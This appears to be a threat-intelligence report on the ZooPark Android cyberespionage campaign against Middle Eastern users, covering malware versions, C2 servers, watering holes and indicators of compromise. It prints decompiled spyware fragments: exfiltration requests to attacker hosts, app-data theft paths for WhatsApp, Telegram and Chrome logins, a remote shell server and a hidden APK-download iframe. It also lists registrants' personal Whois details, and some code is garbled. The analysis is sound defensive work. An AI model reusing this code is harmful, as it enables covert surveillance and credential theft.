WHO’S WHO IN THE ZOO. CYBERESPIONAGE OPERATION TARGETS ANDROID USERS IN THE MIDDLE EAST.
## Contents

Technical Details ............................................................................................................... 3  
   Version 1.0 - circa 2015 ............................................................................................... 4  
   Version 2.0 (2016) - lightweight spyware ................................................................. 6  
   Version 3.0 (2016) - commercial fork ....................................................................... 9  
   Version 4.0 (2017) - modern spyware ....................................................................... 11  
Infrastructure .................................................................................................................. 20  
   rhubarb2[.]com .......................................................................................................... 21  
   rhubarb3[.]com .......................................................................................................... 21  
   5.61.27[.]157 ................................................................................................................. 23  
   5.61.27[.]154 ................................................................................................................. 24  
Distribution ....................................................................................................................... 25  
   Telegram channels ...................................................................................................... 25  
   Watering holes .......................................................................................................... 27  
Victims .............................................................................................................................. 33  
Conclusions ...................................................................................................................... 34  
Appendix - Indicators of compromise .......................................................................... 35  
   Malware samples ........................................................................................................ 35  
   C2 servers .................................................................................................................. 36  
   Watering holes .......................................................................................................... 36
ZooPark is a cyberespionage operation that has been focusing on Middle Eastern targets since at least June 2015. The threat actors behind ZooPark infect Android devices using several generations of malware we label from v1-v4, with v4 being the most recent version deployed in 2017.

The preferred infection vector for ZooPark is waterhole attacks. We found several news websites that have been hacked by the attackers to redirect visitors to a downloading site that serves malicious APKs. Some of the themes observed in campaign include “Kurdistan referendum”, “TelegramGroups” and “Alnaharegypt news”, among others.

Target profile has evolved during the last years of campaign, focusing on victims in Egypt, Jordan, Morocco, Lebanon and Iran.
Technical Details

The malware used in ZooPark operations spans across multiple versions, with the attackers including new features in each iteration. The following chart summarizes the main features added in new generations:

Evolution of ZooPark malware features

Ver. 4

Ver. 3

Ver. 2

Ver. 1

*Exfiltrated info:*
- Contacts;
- Accounts.

*Additional exfiltrated info:*
- Call logs;
- GPS location;
- SMS messages;
- Device information.

*Additional exfiltrated info:*
- Call records (audio);
- Installed applications details;
- Browser data - bookmarks & history;
- Photos and pictures from memory card.

*Additional exfiltrated info:*
- Keylogs;
- Clipboard data;
- Arbitrary files/folders;
- Browser data - search history;
- Capturing photos/videos/audio/screenshots/screen records;
- External applications data - default list of them is: Telegram, WhatsApp, IMO, Chrome (could be extended in config).

**Backdoor functionality:**
- Shell commands execution (with or without root);
- Silently sending SMS messages;
- Making calls.
In this section we will detail the main technical features of the malware used in this campaign.

**Version 1.0 - circa 2015**

The first version of the malware that we found (EC5A6F0E743F4B858ABA9DE96A33FB0C) is pretty simple. The certificate used has been valid since 2015:

![Malware certificate](image)

It has only two functions – stealing contacts from the address book and accounts registered on the victim device. The malware mimics a Telegram application:

![Telegram app](image)

After being manually launched, it checks for an internet connection. If unavailable, it only shows a dialog with an alert in Farsi:

> لطفا به اینترنت متصل شده و برنامه را اجرا کنید.
>
> "Please connect to the internet and run the program again."

When the connection is stable, the malware sends a request to the C2 server, encoding the stolen data (contacts and accounts) in base64:
“hxphp://www.rhubarb2[.]com/telg/sv/sv[.]php” {’id’: Base64Encode(id), ‘data’: Base64Encode(contacts)}

“hxphp://www.rhubarb2[.]com/get/index[.]php?id=” + Base64Encode(gogo) + ”&user=” + Base64Encode(TelgramGp) + ”&pass=” + Base64Encode(TelgramGp) + ”&data=” + Base64Encode(accounts)

This is followed by the content of the website being displayed (not available at the moment):


within the app. We found that the content is available in the new server used by the attackers (rhubarb3[.]com):

This is a list of Iranian Telegram channels. Any additional channel can be added to the form above.
### Version 2.0 (2016) - lightweight spyware

We found that all samples of this version are signed by the same debug certificate:

<table>
<thead>
<tr>
<th>Serial Number: 0x1</th>
</tr>
</thead>
<tbody>
<tr>
<td>Issuer: C=US, O=Android, CN=Android Debug</td>
</tr>
<tr>
<td>Validity: from = Mon May 30 12:44:34 MSK 2016</td>
</tr>
<tr>
<td>SHA-1 Fingerprint: E2 7D 9A 46 81 AD 65 5A A1 5E E7 8A D7 53 51 90 E6 C1 CA FF</td>
</tr>
</tbody>
</table>

For this version, every sample contains a hardcoded configuration that contains its C2 address and variables for use in the request:

<table>
<thead>
<tr>
<th>Baseurl</th>
<th>FunctionCode</th>
<th>UserLocation</th>
<th>TypeFile</th>
<th>KeyKey</th>
</tr>
</thead>
<tbody>
<tr>
<td>&quot;<a href="http://www.rhubarb3.com/">http://www.rhubarb3.com/</a>&quot;</td>
<td>&quot;none&quot;</td>
<td>&quot;&quot;</td>
<td>&quot;(ALLINONE)&quot;</td>
<td>&quot;dafak&quot;</td>
</tr>
<tr>
<td>&quot;<a href="http://www.rhubarb3.com/">http://www.rhubarb3.com/</a>&quot;</td>
<td>&quot;none&quot;</td>
<td>&quot;&quot;</td>
<td>&quot;(Referendum)&quot;</td>
<td>&quot;dafak&quot;</td>
</tr>
<tr>
<td>&quot;<a href="http://www.rhubarb3.com/">http://www.rhubarb3.com/</a>&quot;</td>
<td>&quot;none&quot;</td>
<td>&quot;&quot;</td>
<td>&quot;(Postrall-SSS)&quot;</td>
<td>&quot;dafak&quot;</td>
</tr>
</tbody>
</table>

In the table above, the TypeFile variable is the application that the malware mimics.

This new version is similar to the previous. The main difference is the inclusion of new spying features such as exfiltrate GPS location, SMS messages, call logs and some extra general information.
Additionally, there is a strange feature called “pic”.

```java
if(type == "pic") {
    try {
                .getDirectory("pictures") + "/zoo.zoo", "r");
        try {
            byte[] v1 = new byte[(int)v5.length()];
            v1.read(v1);
            v3 = Base64.encodeToString(v1, 0);
            File v6 = new File(Environment.getExternalStoragePublicDirectory(Environment
                .getExternalStoragePublicDirectory().getDirectory("pictures").getDirectory("zoo")));
            v5.close();
            if(!v6.exists()) {
                return;
            } else if(v6.exists()) {
                v6.delete();
            }
            catch(IOException v4_1) {
                return;
            }
            catch(FileNotFoundException v4) {
                return;
            }
        }
    }
    try {
        HashMap v2 = new HashMap();
        v2.put("id", id);
        v2.put("msg", v3);
        v2.put("type", type);
        new AsyncHttpPost(this, v2).execute(new String[]{String.valueOf(this.Baseurl) + "save.php?key=" + this.KeyKey});
    }
}
```

**Pic feature**

This reads the content of the file “zoo.zoo” (located on the memory card, in the picture/photo path), encodes it with Base64 and sends it to the server, removing the original file. This file is a photo silently captured by the frontal camera, and we believe it was probably created by some unknown malware component.

One of the samples (6A388EDBCE88B0331AE875CEEB2F319) mimics the All-in-One messenger application. After launch, it only presents a credential form if the date on the device is prior to 2017.01.01 (hardcoded). Otherwise, it just executes System.exit().
Who’s who in the Zoo. Cyberespionage operation targets Android users in the Middle East.

Obviously, after clicking the ‘Login’ button, credentials will be sent to the C2 server, in a similar request to that used in version 1.0:

V1:

```
hxxp://www.rhubarb2[].com/get/index[.]php?id=" + Base64Encode("gogo") + ":user=" + 
Base64Encode("TelgramGp") + ":pass=" + Base64Encode("TelgramGp") + ":data=" + 
Base64Encode(accounts)"
```

V2:

```
hxxp://www.rhubarb3[].com/get/index[.]php?id=" + Base64Encode("gogo") + ":user=" + 
Base64Encode(entered_email) + ":pass=" + Base64Encode(entered_password) + 
":data=" + Base64Encode("[AllInOne]" + accounts)"
```

This seems to confirm that the C2 servers used by both versions have a very similar backend.
Version 3.0 (2016) - commercial fork

This version of the malware is especially interesting due to the notable similarities to the commercial spyware product Spymaster Pro. There are several code similarities, with the main difference being that ZooPark uses its own command and control server:

```java
private void doImageFileUpload(String path) {
    DataInputStream v0;
    DataOutputStream v13;
    ByteArrayInputStream v16;
    HttpURLConnection v11 = null;
    String v15 = path;
    String v21 = "\r\n"
    String v26 = "--";
    String v6 = "****";
    int v22 = 1048576;
    String v28 = "http://www.spymasterpro.com/spyMobile/upload.php";
    Bitmap v3 = null;
}
```

Spymaster Pro code fragment

```java
private void doImageFileUpload(String path, String imei) {
    DataInputStream v0;
    int v7;
    byte[] v4;
    int v5;
    DataOutputStream v10;
    URLConnection v6;
    FileInputStream v14;
    int v20;
    String v2;
    String v23;
    String v15;
    String v13 = path;
    try {
        v19 = "\r\n"
        v23 = "--";
        v3 = "****";
        v20 = 1048576;
        String v25 = MainActivity.Server_Domain + "/spymobile/upload.php?imei=" + imei;
    }
}
```

ZooPark code fragment

From the screenshots above, Spymaster Pro uses hxxp://www.spymasterpro[.]com/spyMobile/upload[.]php and ZooPark hxxp://*own C2 server*" + /spyMobile/upload.php.

In order to get its C2 address, ZooPark v3 sends a request to an intermediate server to download a file that looks like a normal picture (androidupdaters[.]com/img.jpg):
The file looks like a typical JPG but appends an IP address that will be used for the C2.

There are some details that seem to demonstrate that ZooPark developers did not fully understand the Spymaster Pro code they were reusing. In the case of the SmsReceiver function, we can see how in both implementations they use the “PASSWORD” variable:

Spymaster Pro and ZooPark code comparison

The difference is that Spymaster Pro uses this variable for SMS message encryption, while ZooPark uses an own hardcoded AES key, so the “PASSWORD” variable left in the code has no purpose.
All the observed v3 samples are signed by one of the following three certificates:

<table>
<thead>
<tr>
<th>Serial Number</th>
<th>Valid from</th>
<th>Signed malware MD5</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1 (debug)</td>
<td>Jun 19 07:25:37 MSK 2016</td>
<td>7D7AD116E6A42D4E518378E2313E9392</td>
</tr>
<tr>
<td>0x709dec2d2</td>
<td>Aug 14 12:52:59 MSK 2016</td>
<td>A7D00C8629079F944B61C4DD5C77C8FB</td>
</tr>
<tr>
<td></td>
<td></td>
<td>AC4402E04DE0949D7BEED975DB84E594</td>
</tr>
<tr>
<td>0x60b364bc</td>
<td>Apr 14 10:44:04 MSK 2016</td>
<td>B714B092D2F28FCF78EF8D02B46DBF9C</td>
</tr>
</tbody>
</table>

This version introduces a number of improvements compared to the previous self-developed versions:

- Call records (audio);
- Browser data – bookmarks and history;
- Installed application details;
- Photos and pictures from memory card.

**Version 4.0 (2017) - modern spyware**

This malware variant represents a significant improvement on version 2.0, which seems to indicate that version 3.0 was some kind of fork.
Who’s who in the Zoo. Cyberespionage operation targets Android users in the Middle East.

Version 4 malicious code structure

Once again, all observed samples are signed by the same certificate, this time valid since 2017:

Serial Number: 0x25208471
Issuer: CN=t, OU=e, O=m, L=m, ST=f, C=e
Validity: from = Thu May 25 08:56:55 MSK 2017
to = Mon Oct 10 08:56:55 MSK 2044
All the samples represent backdoored legitimate applications with malicious code injection:

<table>
<thead>
<tr>
<th>MD5</th>
<th>Package</th>
<th>ITW name</th>
</tr>
</thead>
<tbody>
<tr>
<td>519018ecfc50c0cf6cd0c88cc41b2a69</td>
<td>ltd.banehappy.drofirewall</td>
<td>FirewallFA.apk</td>
</tr>
<tr>
<td>5ad36f6dd060e52771a8e4a1dd90c50c</td>
<td>free.vpn.proxy.unblock.android.easy.app</td>
<td>DVPNEasy.apk</td>
</tr>
<tr>
<td>b44b91b14f176fb93d998141931a4aa</td>
<td>com.del.tele.acc</td>
<td>DeleteTelegram.apk</td>
</tr>
</tbody>
</table>

Since this version has evolved from v2, its configuration is very similar to the previous variant:

<table>
<thead>
<tr>
<th>Baseurl</th>
<th>FunctionCode</th>
<th>UserLocation</th>
<th>TypeFile</th>
<th>KeyKey</th>
</tr>
</thead>
<tbody>
<tr>
<td>&quot;<a href="http://www.rhubarb3.com/">http://www.rhubarb3.com/</a>&quot;</td>
<td>&quot;none&quot;</td>
<td>&quot;&quot;</td>
<td>&quot;(FirewallFA)&quot;</td>
<td>&quot;dafak&quot;</td>
</tr>
<tr>
<td>&quot;<a href="http://www.rhubarb3.com/">http://www.rhubarb3.com/</a>&quot;</td>
<td>&quot;none&quot;</td>
<td>&quot;&quot;</td>
<td>&quot;(VPNEasy)&quot;</td>
<td>&quot;dafak&quot;</td>
</tr>
<tr>
<td>&quot;<a href="http://www.rhubarb3.com/">http://www.rhubarb3.com/</a>&quot;</td>
<td>&quot;none&quot;</td>
<td>&quot;&quot;</td>
<td>&quot;(DeleteTelegram)&quot;</td>
<td>&quot;dafak&quot;</td>
</tr>
</tbody>
</table>

Even if the Baseurl is the address of the C2 server, this is a legacy variable from version 2. Actually, the main C2 server address is determined like in version 3, by sending a request to an intermediate server. All the samples found contain two encrypted intermediate server addresses:

```java
static void init() {  
  Log(0, "INITIALIZING IMAGE ADDRESSES");
  byte[] v6 = new byte[]{90, 110, 112, 54, 100, 107, 65, 49, 78, 81, 61, 61, 10};
  byte[] v5 = new byte[]{102, 80, 49, 57, 78, 65, 61, 61, 10};
  byte[] v4 = new byte[]{78, 71, 109, 49, 99, 119, 61, 61, 10};
  new byte[]{78, 122, 56, 52, 76, 69, 99, 56, 86, 106, 81, 51, 78, 106, 109, 57, 80, 65, 61, 61, 10};
  new byte[]{70, 97, 57, 122, 90, 64, 82, 119, 100, 109, 48, 61, 10};
  byte[] v2 = new byte[]{91, 51, 82, 113, 101, 72, 86, 118, 97, 110, 116, 50, 97, 109, 100, 54, 97, 51, 104, 53, 10};
  byte[] v3 = new byte[]{79, 87, 49, 49, 100, 87, 49, 121, 97, 50, 86, 121, 100, 87, 49, 49, 78, 72, 66, 50, 90, 61, 61, 10};
  byte[] v4 = new byte[]{97, 110, 74, 116, 99, 56, 100, 118, 59, 103, 61, 61, 10};
  G.IMAGE_ADDRESSES.add(G.byteToString(v6) + G.byteToString(v7) + G.byteToString(v2) + G.byteToString(v3) + G.byteToString(v3));
  G.IMAGE_ADDRESSES.add(G.byteToString(v4) + G.byteToString(v4) + G.byteToString(v5) + G.byteToString(v5));
  Log(0, String.valueOf(G.IMAGE_ADDRESSES));
}
```
After decoding IMAGE_ADDRESSES the real request would be:

```
STRDUMP cla:9c lcom/testunit/android/G;>init
```

Then the malware finds out which of the requested images contains a valid IP address for the main C2 server, like version 3.

---

The main C2 server has an IP from the same subnet as version 3

The main entry point for this version is triggered by two specific events:

```
<receiver android:name="com.testunit.android.r.W">
  <intent-filter>
    <action android:name="android.intent.action.ACTION_BOOT_COMPLETED"/>
    <action android:name="android.intent.action.ACTION_POWER_CONNECTED"/>
  </intent-filter>
</receiver>
```

This receiver starts the main malicious service called GooglePlayService, which controls other components. After launch, it creates all the working directories, inits the database and checks if the current device is rooted by searching for the following su binaries and Superuser.apk:
It also registers two additional receivers:

```java
String v7 = new String[] {"/system/app/Superuser.apk", "/sbin/su", "/system/bin/su", "/system/xbin/su", "/data/local/xbin/su", "/data/local/bin/su", "/system/ad/xbin/su", "/system/bin/fallsafe/su", "/data/local/xsu", "/su/bin/su"};

v8 = Runtime.getRuntime().exec(new String[] {"/system/xbin/which", "su"});

String v7 = new String[] {"/system/app/Superuser.apk", "/sbin/su", "/system/bin/su", "/system/xbin/su", "/data/local/xbin/su", "/data/local/bin/su", "/system/ad/xbin/su", "/system/bin/fallsafe/su", "/data/local/xsu", "/su/bin/su"};

String v8 = Runtime.getRuntime().exec(new String[] {"/system/xbin/which", "su"});
```

They are triggered after the device connection changes or the screen turns on/off. In the first case it starts uploading the stolen data to the C2; in the second it processes preloaded C2 server commands.

This version has a huge internal configuration containing dozens of parameters that regulate the malicious activities. This configuration can be updated from the C2 server.

Part of the stolen information is stored in an internal SQL database, called testunitdb. Actually, this version is able to steal additional information compared to version 3:

- Browser data: search history;
- Clipboard data;
- Keylogs;

The keylogger implementation based on the AccessibilityService is something we have already seen in other spyware families. Basically, it listens for specific events such as changing the text of any EditText element on the screen (type = 16), opening a PopupWindow, Menu, Dialog, etc. (for instance, windows that may contain EditText fields (type = 32)). When the second event is found, the malware initializes the keylogger instance, logging typed text and the related contextual application name.
This means the Keylogger is able to log any typed credentials for any application with system forms.

- Arbitrary files/folders;
- Capturing photos/videos/audio;
- Capturing screenshots/screen records;
- External applications data – default list: Telegram, WhatsApp, IMO, Chrome (can be extended in the configuration).

```java
((List)v5).add("/app_chrome/Default/Login Data");
((List)v5).add("/app_chrome/Default/History");
((List)v5).add("/app_chrome/Default/databases");
((List)v5).add("/r/app_chrome/Default/Login Data");
((List)v5).add("/r/app_chrome/Default/History");
((List)v5).add("/r/app_chrome/Default/databases");
((Map)v7).put("com.android.chrome", v5);

v5 = new ArrayList();
((List)v5).add("/f/cache4.db");
((List)v5).add("/files/cache4.db");
((Map)v7).put("org.telegram.messenger", v5);

v5 = new ArrayList();
((List)v5).add("/db/msgstore.db");
((List)v5).add("/databases/msgstore.db");
((Map)v7).put("com.whatsapp", v5);

v5 = new ArrayList();
((List)v5).add("/db/imofriends.db");
((List)v5).add("/databases/imofriends.db");
((Map)v7).put("com.imo.android.imom", v5);
```

External apps attacked by ZooPark malware

This version also implements some backdoor functionality:

- Shell command execution (with or without root);
- Silently sending SMSs;
- Making calls.

Communications with C2 server

After the malware obtains the main C2 address, it connects to the C2 server on port 6666. All the transmitted data is encrypted with RSA, with its Java public key file located in \assets\puki.

It also generates an AES key and sends it to the C2 server for additional responses. Interestingly, the developers used the “secure random” fix for key generation:
This shows the developers’ concerns about cryptography. Since this attack is very targeted, we can assume the developers paid special attention to work on outdated devices that are vulnerable to this “insecure random” attack.

Here is the scheme of client-server communications:

![Diagram of client-server communications]

Interestingly, the malware decrypts and saves commands received from its C2 server in files within its own directory to process them later:
As mentioned in this code snippet, the malware operates with “Pac” serializable objects that are used as tasks from the server to execute (when the “type” value is even) and as report containers for C2 submission (when the “type” value is odd). The “Pac” report with the completed task has a “type” value +1 compared to the related task. All reports are saved in the “TO_GO” directory.

Here is the full list of possible tasks from the C2 server:

<table>
<thead>
<tr>
<th>Pac type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>Update malware with specified config.</td>
</tr>
<tr>
<td>4</td>
<td>Execute shell command with runtime.</td>
</tr>
<tr>
<td>6</td>
<td>Zip specified file/folder and save it in the “TO_GO” directory.</td>
</tr>
<tr>
<td>8</td>
<td>Write task content in temporary zip file, extract everything from it and delete it.</td>
</tr>
<tr>
<td>10</td>
<td>Copy specified file/folder to specified directory.</td>
</tr>
<tr>
<td>12</td>
<td>Move specified file/folder to specified directory.</td>
</tr>
<tr>
<td>14</td>
<td>Rename specified file/folder.</td>
</tr>
<tr>
<td>16</td>
<td>Delete specified file/folder.</td>
</tr>
<tr>
<td>18</td>
<td>Make specified directory.</td>
</tr>
<tr>
<td>20</td>
<td>Silently send SMS to specified number with specified content.</td>
</tr>
<tr>
<td>22</td>
<td>Make a call to specific number.</td>
</tr>
<tr>
<td>24</td>
<td>Create a file system tree of the specified path and save it in the “TO_GO” directory.</td>
</tr>
<tr>
<td>26</td>
<td>Update intermediate C2 server list (servers with images).</td>
</tr>
</tbody>
</table>

The malware also starts a shell server that can execute commands without root privileges on the victim device:
Kaspersky Lab

Who's who in the Zoo. Cyberespionage operation targets Android users in the Middle East.

```java
this.serverSocket = new ServerSocket(0);
G.SHELL_SERVER_PORT = Integer.valueOf(this.serverSocket.getLocalPort());
this.socket = this.serverSocket.accept();
this.socket.setSoTimeout(60000);
this.shell = G.ROOT ? Runtime.getRuntime().exec("su") : Runtime.getRuntime().exec("ash");
this.shIn = new BufferedReader(new InputStreamReader(this.shell.getInputStream()));
this.shOut = new DataOutputStream(this.shell.getOutputStream());
this.oos = new ObjectOutputStream(this.socket.getOutputStream());
this.ois = new ObjectInputStream(this.socket.getInputStream());
this.oos.writeObject(AES.encrypt("HELLO SERVER", G.SK));
this.oos.flush();
```

The SHELL_SERVER_PORT value will be submitted to the C2 server, so the attackers will be able to connect.
# Infrastructure

We have detected the following infrastructure used in this campaign:

<table>
<thead>
<tr>
<th>Server</th>
<th>Malware version</th>
<th>Activity period</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>entekhab10[.]xp3[.]biz</td>
<td>V.1</td>
<td>2015-2016</td>
<td>Intermediate server</td>
</tr>
<tr>
<td>rhubarb2[.]com</td>
<td>V.1, V.2 (?)</td>
<td>2015-2016</td>
<td>C2 server/intermediate server</td>
</tr>
<tr>
<td>rhubarb3[.]com</td>
<td>V.2, V.4</td>
<td>2016-present</td>
<td>C2 server</td>
</tr>
<tr>
<td>androidupdaters[.]com</td>
<td>V.3, V.4</td>
<td>2016-present</td>
<td>Intermediate server (image)</td>
</tr>
<tr>
<td>dlgmail[.]com</td>
<td>V.4</td>
<td>2016-2017</td>
<td>Intermediate server (image)</td>
</tr>
<tr>
<td>5.61.27[]154</td>
<td>V.4</td>
<td>present</td>
<td>C2 server</td>
</tr>
<tr>
<td>5.61.27[]157</td>
<td>V.3</td>
<td>present</td>
<td>C2 server</td>
</tr>
</tbody>
</table>

The following table summarizes the most interesting data from their Whois records:

<table>
<thead>
<tr>
<th>androidupdaters[.]com</th>
<th>dlgmail[.]com</th>
<th>rhubarb2[.]com</th>
<th>rhubarb3[.]com</th>
</tr>
</thead>
<tbody>
<tr>
<td>Email:</td>
<td>Email:</td>
<td>Email:</td>
<td>Email:</td>
</tr>
<tr>
<td><a href="mailto:asgharkhof@gmail.com">asgharkhof@gmail.com</a></td>
<td><a href="mailto:silent.city2020@mail.com">silent.city2020@mail.com</a></td>
<td><a href="mailto:pilton86@yahoo.com">pilton86@yahoo.com</a></td>
<td>PrivacyProtect</td>
</tr>
<tr>
<td>City, Street</td>
<td>Street</td>
<td>Street</td>
<td>Street</td>
</tr>
<tr>
<td>Tehran, saadat abaad, darya blvd</td>
<td>Tehran, valiasr balatar az vanak k sharifi p5 v15</td>
<td>Sanandaj, Baharan</td>
<td>PrivacyProtect</td>
</tr>
<tr>
<td>Name</td>
<td>Name</td>
<td>Name</td>
<td>Name</td>
</tr>
<tr>
<td>parspack 62555</td>
<td>mohammad hosein asna ashar</td>
<td>Mohsen Malekian</td>
<td>PrivacyProtect</td>
</tr>
<tr>
<td>Postal Code</td>
<td>Postal Code</td>
<td>Postal Code</td>
<td>Postal Code</td>
</tr>
<tr>
<td>9865214523</td>
<td>1663976888</td>
<td>6614478527</td>
<td>PrivacyProtect</td>
</tr>
<tr>
<td>Phone</td>
<td>Phone</td>
<td>Phone</td>
<td>Phone</td>
</tr>
<tr>
<td>+98.2188561212</td>
<td>+98.2188888299</td>
<td>+98.9303938251</td>
<td>PrivacyProtect</td>
</tr>
<tr>
<td>IP</td>
<td>IP</td>
<td>IP</td>
<td>IP</td>
</tr>
<tr>
<td>178.162.214.146</td>
<td>46.4.41.195</td>
<td>109.200.28.162</td>
<td>5.144.130.33 46.4.74.56</td>
</tr>
</tbody>
</table>
rhubarb2[.]com
This server was used as C2 server for versions 1 and 2. Whois record:

| Registrant Name: | محسن ملكیان //Mohsen Malekian |
| Registrant Organization: |  |
| Registrant Street: | بھاران //Baharan |
| Registrant City: | سنندج //Sanandaj (capital of Kurdistan Province in Iran) |
| Registrant State/Province: |  |
| Registrant Postal Code: | 6614478527 |
| Registrant Country: | IR |
| Registrant Phone: | +98.9303938251 |
| Registrant Email: | pilton86@yahoo.com |

rhubarb3[.]com
This server seems to mirror rhubarb2[.]com, including paths:

/telg/sv/sv[.]php
/telg/index[.]php
/get/index[.]php

Attackers relocated this C2 domain from 5.144.130.33 (located in Iran) to 46.4.74.56 in July 2017:

<table>
<thead>
<tr>
<th>Date</th>
<th>Action</th>
<th>Old IP Address</th>
<th>New IP Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>2013-05-31</td>
<td>Not Resolvable</td>
<td>72.21.92.29</td>
<td>-none-</td>
</tr>
<tr>
<td>2016-08-10</td>
<td>New</td>
<td>-none-</td>
<td>5.144.130.33</td>
</tr>
<tr>
<td>2017-07-12</td>
<td>Change</td>
<td>5.144.130.33</td>
<td>46.4.74.56</td>
</tr>
</tbody>
</table>
Folders in the open listing directory “/get/main/” were deployed in August 2016, when the domain was registered.

The timestamp of the Parent Directory for “/images” (Templated.co web interface) coincides with domain relocation:
An inactive web interface login page at http://www.rhubarb3[].com/login[].php points to the attackers previous C2 server rhubarb2[].com:

The server’s response error discloses environment paths:

```
```

5.61.27[].157

This is the c2 server for malware version 3. As already mentioned, this version is based on the commercial product Spymaster Pro, so the server side is similar.

The gate that handled requests from infected devices named “/spyMobile/” is exactly the same gate used by the commercial spyware product.

Even some commented HTML seems to come originally from Spymaster Pro:
Apparently ‘Apasecman - Android KeyLogger’ was the original name given to this project by the attackers.

### 5.61.27[.]154

This is C2 server used in the last known version of this malware. The server-side timestamps are also recent:

<table>
<thead>
<tr>
<th>File</th>
<th>Date/Time</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>right.png</td>
<td>2007-09-11 00:11</td>
<td>254</td>
</tr>
<tr>
<td>screw1.gif</td>
<td>2004-11-20 13:16</td>
<td>258</td>
</tr>
<tr>
<td>screw1.png</td>
<td>2007-09-11 00:11</td>
<td>328</td>
</tr>
<tr>
<td>screw2.gif</td>
<td>2004-11-20 13:16</td>
<td>263</td>
</tr>
<tr>
<td>screw2.png</td>
<td>2007-09-11 00:11</td>
<td>333</td>
</tr>
<tr>
<td>script.gif</td>
<td>2004-11-20 13:16</td>
<td>242</td>
</tr>
<tr>
<td>script.png</td>
<td>2007-09-11 00:11</td>
<td>290</td>
</tr>
<tr>
<td>small/</td>
<td>2017-09-04 10:21</td>
<td>-</td>
</tr>
<tr>
<td>sound1.gif</td>
<td>2004-11-20 13:16</td>
<td>248</td>
</tr>
<tr>
<td>sound1.png</td>
<td>2007-08-28 05:53</td>
<td>331</td>
</tr>
<tr>
<td>sound2.gif</td>
<td>2004-11-20 13:16</td>
<td>221</td>
</tr>
</tbody>
</table>
Distribution

We have observed two main distribution vectors – telegram channels and watering holes.

Telegram channels

Several samples (version 1.0 in this specific case) mimicked a voting application for the Iranian Kurdistan province:

Inside the code we found a reference to the Telegram channel:

```
String v3 = String.valueOf(String.valueOf(String.valueOf("بَا ﺳﻼم 

ﻟﯾﻧﮏ درﯾﺎﻓت ﻧرم اﻓزار اﻧﺗﺧﺎﺑﺎت آﻧﻼﯾﻧ آﻧﻼﯾﻧ ﮐردﺳﺗﺎن ﺑﮫ ھﻣراه آﻧﻼﯾﻧ در ﮐﺎﻧﺎل زﯾر 

http://telegram.me/entekhab_10

"));
```

Translation:

Hi

The link to download the election software online in Kurdistan province with online statistics at the following channel http://telegram.me/entekhab_10
Polls for candidates in Kurdistan province with mobile voting software

Contact Admin: @Entekhab_10_Admin

This channel was created on November 11, 2015 with the latest activity dated April 5, 2016. It shows election information among version 1.0 malware samples:
Watering holes

We collected evidence that attackers deployed at least two watering holes to distribute their malware; in these cases version 3 of the malware was used.

alnaharegypt[.]com

Al-Nahar is one of the most popular Egyptian news sites, rated 19th in Egypt by popularity according to Alexa.

Below is a page from the site with news about the dollar exchange rate on the black market (hxsp://www.alnaharegypt.com/t~467369):
Who’s who in the Zoo. Cyberespionage operation targets Android users in the Middle East.
The page had an iframe pointing to a malicious APK:

```
<iframe height="1" src="http://showroommontorgueil.com/modules/homepageadvertise2/slides/alnaharegypt.news_v2.0.apk" width="1">
</iframe>
```

It would start downloading the malicious APK in Android without any notification, though a modern browser such as Chrome will notify the user before starting the download. The malicious APK name (alnaharegypt.news_v2.0.apk) mimics the waterholed site.

We took a closer look at the site hosting the malicious APK file - showroommontorgueil.com. It was the site of a French fashion brand:

Showroommontorgueil.com state on 2016-01-16
Despite the fact the site is currently unavailable, based on the watering hole URL we can tell that it was a **PrestaShop web application**. And if we look for serious security vulnerabilities there is an important one related to **file uploading**. It allows a remote attacker to upload an arbitrary file by abusing PrestaShop modules, and as a result take control of the victim’s server.

Moreover, there is a list of URLs on Pastebin that look like vulnerable or already pawned PrestaShop sites, and it contains showroommontorgueil.com:

https://pastebin.com/KuFxy6w5 - list of probably uploaded php reverse shell scripts

And the last point is the cached deface state of showroommontorgueil.com hacked by **Indonesian Code Party**:

http://www.zone-hj.org/mirror/id/26443808?zh=2
It looks like the main interest of this hacking group is defacing vulnerable websites and they are probably unrelated to the campaign actors.

All this suggests that showroommontorgueil.com was hacked and probably by multiple attackers.

---

**Ordered events related to the watering hole deployment on alnaharegypt[.]com**

**alhayatnews[.]com**
This news site is one of the leading daily pan-Arab newspapers, popular in Lebanon and Jordan.

According to our telemetry, the malware was served on 2016-09-12 from:

```
http://www.alhayatnews[.]com/ArabicRSS[.]apk
```

**annahar[.]com**
An-Nahar is a leading Arabic daily newspaper published in Lebanon. We found some traces suggesting that maybe there was a watering hole on their site, though we can’t confirm this. In particular, one of the samples (ac4402e04de0949d7beed975db84e594) mimics the An-Nahar official mobile application, which makes us believe the malware was probably distributed in a similar way through the legitimate site.
Who's who in the Zoo. Cyberespionage operation targets Android users in the Middle East.


Legitimate app that malware mimics
Victims

Some of the analyzed samples provide clues about the intended targets for this campaign. For instance, the sample CB67ABD070AE188390FC040CBE60E677 mimics a voting application for the independence referendum in Kurdistan:

Clicking it will show an image used by Kurdish referendum supporters and offer different voting options:

Other possible high-profile targets include the United Nations Relief and Works Agency for Palestine Refugees in the Near East (UNRWA) in Amman, Jordan.
Conclusions

From the technical point of view, the evolution of ZooPark has shown notable progress: from the very basic first and second versions, the commercial spyware fork in its third version and then to the complex spyware that is version 4. This last step is especially interesting, showing a big leap from straightforward code functionality to highly sophisticated malware.

This suggests the latest version may have been bought from vendors of specialist surveillance tools. That wouldn’t be surprising, as the market for these espionage tools is growing, becoming popular among governments, with several known cases in the Middle East. Also, choosing mobile platforms for espionage campaigns is just a natural evolutionary step. At this point, we cannot confirm attribution to any known actor.

If you would like to learn more about our intelligence reports or request more information on a specific report, contact us at: intelreports@kaspersky.com.
## Appendix - Indicators of compromise

### Malware samples

<table>
<thead>
<tr>
<th>MD5</th>
<th>Filename</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Version 1.0</strong></td>
<td></td>
</tr>
<tr>
<td>232BD3DDE6914DB0A3DBFC21ED178887</td>
<td>Entekhab10 V1.apk</td>
</tr>
<tr>
<td>5EFDDD7F0FC2125E78A2CA18B68464EC</td>
<td>Entekhab10-v3.apk</td>
</tr>
<tr>
<td>EC5A6F0E743F4B858ABA9DE96A33FB0C</td>
<td>TelegramGroups.apk</td>
</tr>
<tr>
<td><strong>Version 2.0</strong></td>
<td></td>
</tr>
<tr>
